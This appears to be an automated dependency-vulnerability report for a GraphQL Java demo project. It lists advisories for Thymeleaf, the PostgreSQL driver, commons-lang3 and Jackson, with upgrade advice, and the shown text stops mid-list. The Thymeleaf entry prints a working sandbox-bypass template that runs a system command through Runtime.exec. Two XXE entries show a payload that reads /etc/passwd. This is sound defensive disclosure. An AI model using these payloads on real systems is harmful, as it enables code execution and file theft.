Vulnerabilities

60 via 306 paths

Dependencies

132

Source

GitHub

Commit

764c698c

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 60
  • 3
Severity
  • 2
  • 44
  • 13
  • 4
Status
  • 63
  • 0
  • 0

critical severity

Sandbox Bypass

  • Vulnerable module: org.thymeleaf:thymeleaf
  • Introduced through: com.graphql-java-kickstart:playground-spring-boot-starter@5.10.0

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:playground-spring-boot-starter@5.10.0 com.graphql-java-kickstart:playground-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-thymeleaf@2.1.6.RELEASE org.thymeleaf.extras:thymeleaf-extras-java8time@3.0.4.RELEASE org.thymeleaf:thymeleaf@3.0.11.RELEASE
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:playground-spring-boot-starter@5.10.0 com.graphql-java-kickstart:playground-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-thymeleaf@2.1.6.RELEASE org.thymeleaf:thymeleaf-spring5@3.0.11.RELEASE org.thymeleaf:thymeleaf@3.0.11.RELEASE

Overview

Affected versions of this package are vulnerable to Sandbox Bypass due to insufficient checks, by allowing an attacker to execute arbitrary code via a crafted HTML.

PoC

<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
</head>
<body>

<tr
        th:with="getRuntimeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'getRuntime' )}"
>
    <td>
        <a
                th:with="runtimeObj=${T(org.springframework.util.ReflectionUtils).invokeMethod(getRuntimeMethod, null)}"
        >
            <a
                    th:with="exeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime',T(org.springframework.util.ClassUtils).getDefaultClassLoader()), 'exec', ''.getClass() )}"
            >
                <a
                        th:with="param2=${T(org.springframework.util.ReflectionUtils).invokeMethod(exeMethod, runtimeObj, 'calc' )
                }"
                        th:href="${param2}"
                ></a>
            </a>

        </a>
    </td>
</tr>

</body>
</html>

Remediation

Upgrade org.thymeleaf:thymeleaf to version 3.1.2.RELEASE or higher.

References

critical severity

SQL Injection

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@42.2.10

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a org.postgresql:postgresql@42.2.10
    Remediation: Upgrade to org.postgresql:postgresql@42.2.28.jre7.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to SQL Injection when using PreferQueryMode=SIMPLE, which is not the default setting. By passing in a numeric value placeholder immediately preceded by a minus and followed by a second placeholder for a string value, on the same line, an attacker can construct a payload that alters the parameterized query into which it is interpolated. This effectively bypasses the protections against SQL Injection that parameterized queries offer.

Remediation

Upgrade org.postgresql:postgresql to version 42.2.28.jre7, 42.3.9, 42.4.4, 42.5.5, 42.6.1, 42.7.2 or higher.

References

high severity

Uncontrolled Recursion

  • Vulnerable module: org.apache.commons:commons-lang3
  • Introduced through: org.apache.commons:commons-lang3@3.9, com.graphql-java-kickstart:graphql-java-tools@5.6.1 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a org.apache.commons:commons-lang3@3.9
    Remediation: Upgrade to org.apache.commons:commons-lang3@3.18.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.apache.commons:commons-lang3@3.9
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:altair-spring-boot-starter@5.10.0 com.graphql-java-kickstart:altair-spring-boot-autoconfigure@5.10.0 org.apache.commons:commons-text@1.1 org.apache.commons:commons-lang3@3.9
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphiql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphiql-spring-boot-autoconfigure@5.10.0 org.apache.commons:commons-text@1.1 org.apache.commons:commons-lang3@3.9
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 org.apache.commons:commons-lang3@3.9

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via the ClassUtils.getClass function. An attacker can cause the application to terminate unexpectedly by providing excessively long input values.

Remediation

Upgrade org.apache.commons:commons-lang3 to version 3.18.0 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: com.fasterxml.jackson.core:jackson-core@2.9.10, com.fasterxml.jackson.core:jackson-databind@2.9.10.3 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.15.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.15.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@13.0.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.15.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@13.0.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@12.0.0.

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Denial of Service (DoS) due to missing input size validation when performing numeric type conversions. A remote attacker can exploit this vulnerability by causing the application to deserialize data containing certain numeric types with large values, causing the application to exhaust all available resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

high severity

Stack-based Buffer Overflow

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: com.fasterxml.jackson.core:jackson-core@2.9.10, com.fasterxml.jackson.core:jackson-databind@2.9.10.3 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.15.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.15.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@13.0.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.15.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@13.0.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3 com.fasterxml.jackson.core:jackson-core@2.9.10
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@12.0.0.

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Stack-based Buffer Overflow due to the parse process, which accepts an unlimited input file with deeply nested data. An attacker can cause a stack overflow and crash the application by providing input files with excessively deep nesting.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.15.0-rc1 or higher.

References

high severity

XML External Entity (XXE) Injection

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.7.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@11.0.3.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@7.2.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. A flaw was found in FasterXML Jackson Databind, where it does not have entity expansion secured properly in the DOMDeserializer class. The highest threat from this vulnerability is data integrity.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.7, 2.10.5.1 or higher.

References

high severity

XML External Entity (XXE) Injection

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@42.2.10

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a org.postgresql:postgresql@42.2.10
    Remediation: Upgrade to org.postgresql:postgresql@42.2.13.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The PgSQLXML class used for parsing was found to allow external entities and multiple doc types which could allow XXE attacks.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.postgresql:postgresql to version 42.2.13 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.6.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to com.pastdev.httpcomponents.configuration.JndiConfiguration.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.6 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.4.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to the class ignite-jta.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

